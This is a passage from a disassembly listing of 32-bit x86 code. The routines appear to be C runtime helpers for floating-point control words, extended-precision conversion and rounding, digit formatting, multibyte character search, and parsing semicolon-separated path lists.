arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42C2B4
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42C346
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_42C269	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C29E	proc near		; CODE XREF: sub_4289E9+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_42C269
		pop	ecx
		pop	ecx
		retn
sub_42C29E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C2B4	proc near		; CODE XREF: sub_42C269+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42C2C5
		push	10h
		pop	eax


loc_42C2C5:				; CODE XREF: sub_42C2B4+Cj
		test	bl, 4
		jz	short loc_42C2CC
		or	al, 8


loc_42C2CC:				; CODE XREF: sub_42C2B4+14j
		test	bl, 8
		jz	short loc_42C2D3
		or	al, 4


loc_42C2D3:				; CODE XREF: sub_42C2B4+1Bj
		test	bl, 10h
		jz	short loc_42C2DA
		or	al, 2


loc_42C2DA:				; CODE XREF: sub_42C2B4+22j
		test	bl, 20h
		jz	short loc_42C2E1
		or	al, 1


loc_42C2E1:				; CODE XREF: sub_42C2B4+29j
		test	bl, 2
		jz	short loc_42C2EB
		or	eax, 80000h


loc_42C2EB:				; CODE XREF: sub_42C2B4+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42C323
		cmp	edx, 400h
		jz	short loc_42C320
		cmp	edx, 800h
		jz	short loc_42C31C
		cmp	edx, esi
		jnz	short loc_42C323
		or	eax, edi
		jmp	short loc_42C323
; ---------------------------------------------------------------------------


loc_42C31C:				; CODE XREF: sub_42C2B4+5Ej
		or	eax, ebp
		jmp	short loc_42C323
; ---------------------------------------------------------------------------


loc_42C320:				; CODE XREF: sub_42C2B4+56j
		or	ah, 1


loc_42C323:				; CODE XREF: sub_42C2B4+4Ej
					; sub_42C2B4+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42C333
		cmp	ecx, ebp
		jnz	short loc_42C338
		or	eax, 10000h
		jmp	short loc_42C338
; ---------------------------------------------------------------------------


loc_42C333:				; CODE XREF: sub_42C2B4+72j
		or	eax, 20000h


loc_42C338:				; CODE XREF: sub_42C2B4+76j
					; sub_42C2B4+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42C345
		or	eax, 40000h

locret_42C345:				; CODE XREF: sub_42C2B4+8Aj
		retn
sub_42C2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C346	proc near		; CODE XREF: sub_42C269+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42C356
		push	1
		pop	eax


loc_42C356:				; CODE XREF: sub_42C346+Bj
		test	bl, 8
		jz	short loc_42C35D
		or	al, 4


loc_42C35D:				; CODE XREF: sub_42C346+13j
		test	bl, 4
		jz	short loc_42C364
		or	al, 8


loc_42C364:				; CODE XREF: sub_42C346+1Aj
		test	bl, 2
		jz	short loc_42C36B
		or	al, 10h


loc_42C36B:				; CODE XREF: sub_42C346+21j
		test	bl, 1
		jz	short loc_42C372
		or	al, 20h


loc_42C372:				; CODE XREF: sub_42C346+28j
		test	ebx, 80000h
		jz	short loc_42C37C
		or	al, 2


loc_42C37C:				; CODE XREF: sub_42C346+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_42C3A9
		cmp	ecx, 100h
		jz	short loc_42C3A6
		cmp	ecx, esi
		jz	short loc_42C3A1
		cmp	ecx, edx
		jnz	short loc_42C3A9
		or	ah, 0Ch
		jmp	short loc_42C3A9
; ---------------------------------------------------------------------------


loc_42C3A1:				; CODE XREF: sub_42C346+50j
		or	ah, 8
		jmp	short loc_42C3A9
; ---------------------------------------------------------------------------


loc_42C3A6:				; CODE XREF: sub_42C346+4Cj
		or	ah, 4


loc_42C3A9:				; CODE XREF: sub_42C346+44j
					; sub_42C346+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_42C3BF
		cmp	ecx, 10000h
		jnz	short loc_42C3C1
		or	eax, esi
		jmp	short loc_42C3C1
; ---------------------------------------------------------------------------


loc_42C3BF:				; CODE XREF: sub_42C346+6Bj
		or	eax, edx


loc_42C3C1:				; CODE XREF: sub_42C346+73j
					; sub_42C346+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_42C3CE
		or	ah, 10h

locret_42C3CE:				; CODE XREF: sub_42C346+83j
		retn
sub_42C346	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C3CF	proc near		; CODE XREF: sub_42C46E+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42C414
		inc	esi
		cmp	esi, 3
		jge	short loc_42C40F
		lea	eax, [eax+esi*4]


loc_42C401:				; CODE XREF: sub_42C3CF+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42C414
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_42C401


loc_42C40F:				; CODE XREF: sub_42C3CF+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42C414:				; CODE XREF: sub_42C3CF+27j
					; sub_42C3CF+35j
		xor	eax, eax
		pop	esi
		retn
sub_42C3CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C418	proc near		; CODE XREF: sub_42C46E+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_42D9BB
		add	esp, 0Ch
		dec	esi
		js	short loc_42C46A
		lea	edi, [ebx+esi*4]


loc_42C451:				; CODE XREF: sub_42C418+50j
		test	eax, eax
		jz	short loc_42C46A
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_42D9BB
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_42C451


loc_42C46A:				; CODE XREF: sub_42C418+34j
					; sub_42C418+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42C418	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C46E	proc near		; CODE XREF: sub_42C5C9+81p
					; sub_42C5C9+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_42C4D2
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_42C3CF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42C4CF
		push	edi
		push	[ebp+arg_0]
		call	sub_42C418
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_42C4CF:				; CODE XREF: sub_42C46E+51j
		mov	eax, [ebp+arg_4]


loc_42C4D2:				; CODE XREF: sub_42C46E+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_42C4F2
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_42C4F2:				; CODE XREF: sub_42C46E+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42C46E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C4FA	proc near		; CODE XREF: sub_42C5C9+75p
					; sub_42C5C9+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_42C508:				; CODE XREF: sub_42C4FA+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_42C508
		pop	esi
		retn
sub_42C4FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C515	proc near		; CODE XREF: sub_42C5C9+5Fp
					; sub_42C5C9+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42C515	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C521	proc near		; CODE XREF: sub_42C5C9+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_42C527:				; CODE XREF: sub_42C521+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_42C539
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_42C527
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42C539:				; CODE XREF: sub_42C521+9j
		xor	eax, eax
		retn
sub_42C521	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C53C	proc near		; CODE XREF: sub_42C5C9+C0p
					; sub_42C5C9+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_42C572:				; CODE XREF: sub_42C53C+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_42C572
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42C5A4:				; CODE XREF: sub_42C53C+86j
		cmp	ebx, edi
		jl	short loc_42C5B7
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_42C5BE
; ---------------------------------------------------------------------------


loc_42C5B7:				; CODE XREF: sub_42C53C+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_42C5BE:				; CODE XREF: sub_42C53C+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42C5A4
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42C53C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C5C9	proc near		; CODE XREF: sub_42C735+Dp
					; sub_42C74B+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42C636
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_42C521
		test	eax, eax
		pop	ecx
		jnz	loc_42C6F5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42C515
		pop	ecx


loc_42C62E:				; CODE XREF: sub_42C5C9+E4j
		push	2


loc_42C630:				; CODE XREF: sub_42C5C9+110j
		pop	eax
		jmp	loc_42C6F7
; ---------------------------------------------------------------------------


loc_42C636:				; CODE XREF: sub_42C5C9+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42C4FA
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42C46E
		add	esp, 10h
		test	eax, eax
		jz	short loc_42C657
		inc	ebx


loc_42C657:				; CODE XREF: sub_42C5C9+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_42C66F
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42C515
		pop	ecx
		jmp	short loc_42C6AB
; ---------------------------------------------------------------------------


loc_42C66F:				; CODE XREF: sub_42C5C9+98j
		cmp	ebx, eax
		jg	short loc_42C6B2
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42C4FA
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_42C53C
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42C46E
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42C53C
		add	esp, 20h


loc_42C6AB:				; CODE XREF: sub_42C5C9+A4j
		xor	esi, esi
		jmp	loc_42C62E
; ---------------------------------------------------------------------------


loc_42C6B2:				; CODE XREF: sub_42C5C9+A8j
		cmp	ebx, [edi]
		jl	short loc_42C6DE
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42C515
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42C53C
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_42C630
; ---------------------------------------------------------------------------


loc_42C6DE:				; CODE XREF: sub_42C5C9+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_42C53C
		pop	ecx
		pop	ecx


loc_42C6F5:				; CODE XREF: sub_42C5C9+55j
		xor	eax, eax


loc_42C6F7:				; CODE XREF: sub_42C5C9+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42C726
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_42C730
; ---------------------------------------------------------------------------


loc_42C726:				; CODE XREF: sub_42C5C9+14Ej
		cmp	edi, 20h
		jnz	short loc_42C730
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_42C730:				; CODE XREF: sub_42C5C9+15Bj
					; sub_42C5C9+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42C5C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C735	proc near		; CODE XREF: sub_42C761+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_44BFD0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42C5C9
		add	esp, 0Ch
		retn
sub_42C735	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C74B	proc near		; CODE XREF: sub_42C78E+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_44BFE8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42C5C9
		add	esp, 0Ch
		retn
sub_42C74B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C761	proc near		; CODE XREF: sub_428B22+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42DB5C
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42C735
		add	esp, 24h
		leave
		retn
sub_42C761	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C78E	proc near		; CODE XREF: sub_428B22+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42DB5C
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42C74B
		add	esp, 24h
		leave
		retn
sub_42C78E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C7BB	proc near		; CODE XREF: sub_428B60+41p
					; sub_428C83+38p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_42C7F8
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_42C7DE:				; CODE XREF: sub_42C7BB+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_42C7EA
		movsx	edx, dl
		inc	ecx
		jmp	short loc_42C7ED
; ---------------------------------------------------------------------------


loc_42C7EA:				; CODE XREF: sub_42C7BB+27j
		push	30h
		pop	edx


loc_42C7ED:				; CODE XREF: sub_42C7BB+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_42C7DE
		mov	edx, [ebp+arg_8]


loc_42C7F8:				; CODE XREF: sub_42C7BB+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_42C811
		cmp	byte ptr [ecx],	35h
		jl	short loc_42C811


loc_42C804:				; CODE XREF: sub_42C7BB+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_42C80F
		mov	byte ptr [eax],	30h
		jmp	short loc_42C804
; ---------------------------------------------------------------------------


loc_42C80F:				; CODE XREF: sub_42C7BB+4Dj
		inc	byte ptr [eax]


loc_42C811:				; CODE XREF: sub_42C7BB+42j
					; sub_42C7BB+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_42C81B
		inc	dword ptr [edx+4]
		jmp	short loc_42C82D
; ---------------------------------------------------------------------------


loc_42C81B:				; CODE XREF: sub_42C7BB+59j
		push	edi
		call	sub_422120
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_423C20
		add	esp, 10h


loc_42C82D:				; CODE XREF: sub_42C7BB+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42C7BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C832	proc near		; CODE XREF: sub_428B60+19p
					; sub_428C83+19p ...

var_28		= word ptr -28h
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_C		= byte ptr -0Ch
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42C88E
		pop	ecx
		lea	eax, [ebp+var_28]
		pop	ecx
		lea	esi, [ebp+var_C]
		push	eax
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_42E02D
		mov	esi, [ebp+arg_8]
		mov	edi, [ebp+arg_C]
		mov	[esi+8], eax
		movsx	eax, [ebp+var_26]
		mov	[esi], eax
		movsx	eax, [ebp+var_28]
		mov	[esi+4], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	sub_423260
		add	esp, 20h
		mov	[esi+0Ch], edi
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn
sub_42C832	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C88E	proc near		; CODE XREF: sub_42C832+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42C8DC
		cmp	ebx, edi
		jz	short loc_42C8D5
		lea	edi, [ecx+3C00h]
		jmp	short loc_42C8FD
; ---------------------------------------------------------------------------


loc_42C8D5:				; CODE XREF: sub_42C88E+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42C8FD
; ---------------------------------------------------------------------------


loc_42C8DC:				; CODE XREF: sub_42C88E+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_42C8F4
		cmp	edx, ebx
		jnz	short loc_42C8F4
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_42C93F
; ---------------------------------------------------------------------------


loc_42C8F4:				; CODE XREF: sub_42C88E+52j
					; sub_42C88E+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_42C8FD:				; CODE XREF: sub_42C88E+45j
					; sub_42C88E+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_42C915:				; CODE XREF: sub_42C88E+A6j
		test	ecx, esi
		jnz	short loc_42C936
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_42C915
; ---------------------------------------------------------------------------


loc_42C936:				; CODE XREF: sub_42C88E+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_42C93F:				; CODE XREF: sub_42C88E+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42C88E	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_424FCB
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C94D	proc near		; CODE XREF: sub_428E88+ACp
					; sub_428FED+10p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	dword_63177C, esi
		jnz	short loc_42C96A
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4234F0
		pop	ecx
		pop	ecx
		jmp	short loc_42C9BC
; ---------------------------------------------------------------------------


loc_42C96A:				; CODE XREF: sub_42C94D+Cj
		push	edi
		push	19h
		call	sub_428436
		pop	ecx
		mov	ecx, [ebp+arg_0]


loc_42C976:				; CODE XREF: sub_42C94D+62j
		mov	dl, [ecx]
		movzx	eax, dl
		movzx	edi, al
		test	byte_631881[edi], 4
		jz	short loc_42C9A5
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_42C9A1
		movzx	edi, dl
		shl	eax, 8
		or	eax, edi
		cmp	[ebp+arg_4], eax
		jnz	short loc_42C9AC
		lea	esi, [ecx-1]
		jmp	short loc_42C9AC
; ---------------------------------------------------------------------------


loc_42C9A1:				; CODE XREF: sub_42C94D+40j
		test	esi, esi
		jmp	short loc_42C9A8
; ---------------------------------------------------------------------------


loc_42C9A5:				; CODE XREF: sub_42C94D+38j
		cmp	[ebp+arg_4], eax


loc_42C9A8:				; CODE XREF: sub_42C94D+56j
		jnz	short loc_42C9AC
		mov	esi, ecx


loc_42C9AC:				; CODE XREF: sub_42C94D+4Dj
					; sub_42C94D+52j ...
		inc	ecx
		test	dl, dl
		jnz	short loc_42C976
		push	19h
		call	sub_428497
		pop	ecx
		mov	eax, esi
		pop	edi


loc_42C9BC:				; CODE XREF: sub_42C94D+1Bj
		pop	esi
		pop	ebp
		retn
sub_42C94D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C9BF	proc near		; CODE XREF: sub_428E88:loc_428F04p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]


loc_42C9C5:				; CODE XREF: sub_42C9BF+Cj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_42C9CD
		inc	ecx
		jmp	short loc_42C9C5
; ---------------------------------------------------------------------------


loc_42C9CD:				; CODE XREF: sub_42C9BF+9j
		dec	[ebp+arg_8]
		push	esi
		mov	eax, ecx
		jz	short loc_42CA22
		mov	dl, [ecx]
		mov	esi, [ebp+arg_4]
		test	dl, dl
		jz	short loc_42CA16


loc_42C9DE:				; CODE XREF: sub_42C9BF+55j
		cmp	dl, 3Bh
		jz	short loc_42CA16
		cmp	dl, 22h
		jz	short loc_42C9F3
		mov	[esi], dl
		inc	esi
		inc	ecx
		dec	[ebp+arg_8]
		jz	short loc_42CA1E
		jmp	short loc_42CA10
; ---------------------------------------------------------------------------


loc_42C9F3:				; CODE XREF: sub_42C9BF+27j
		inc	ecx


loc_42C9F4:				; CODE XREF: sub_42C9BF+49j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_42CA0A
		cmp	dl, 22h
		jz	short loc_42CA0A
		mov	[esi], dl
		inc	esi
		inc	ecx
		dec	[ebp+arg_8]
		jz	short loc_42CA1E
		jmp	short loc_42C9F4
; ---------------------------------------------------------------------------


loc_42CA0A:				; CODE XREF: sub_42C9BF+39j
					; sub_42C9BF+3Ej
		cmp	byte ptr [ecx],	0
		jz	short loc_42CA10
		inc	ecx


loc_42CA10:				; CODE XREF: sub_42C9BF+32j
					; sub_42C9BF+4Ej
		mov	dl, [ecx]
		test	dl, dl
		jnz	short loc_42C9DE


loc_42CA16:				; CODE XREF: sub_42C9BF+1Dj
					; sub_42C9BF+22j ...
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_42CA25
		inc	ecx
		jmp	short loc_42CA16
; ---------------------------------------------------------------------------


loc_42CA1E:				; CODE XREF: sub_42C9BF+30j
					; sub_42C9BF+47j
		mov	eax, ecx
		jmp	short loc_42CA25
; ---------------------------------------------------------------------------


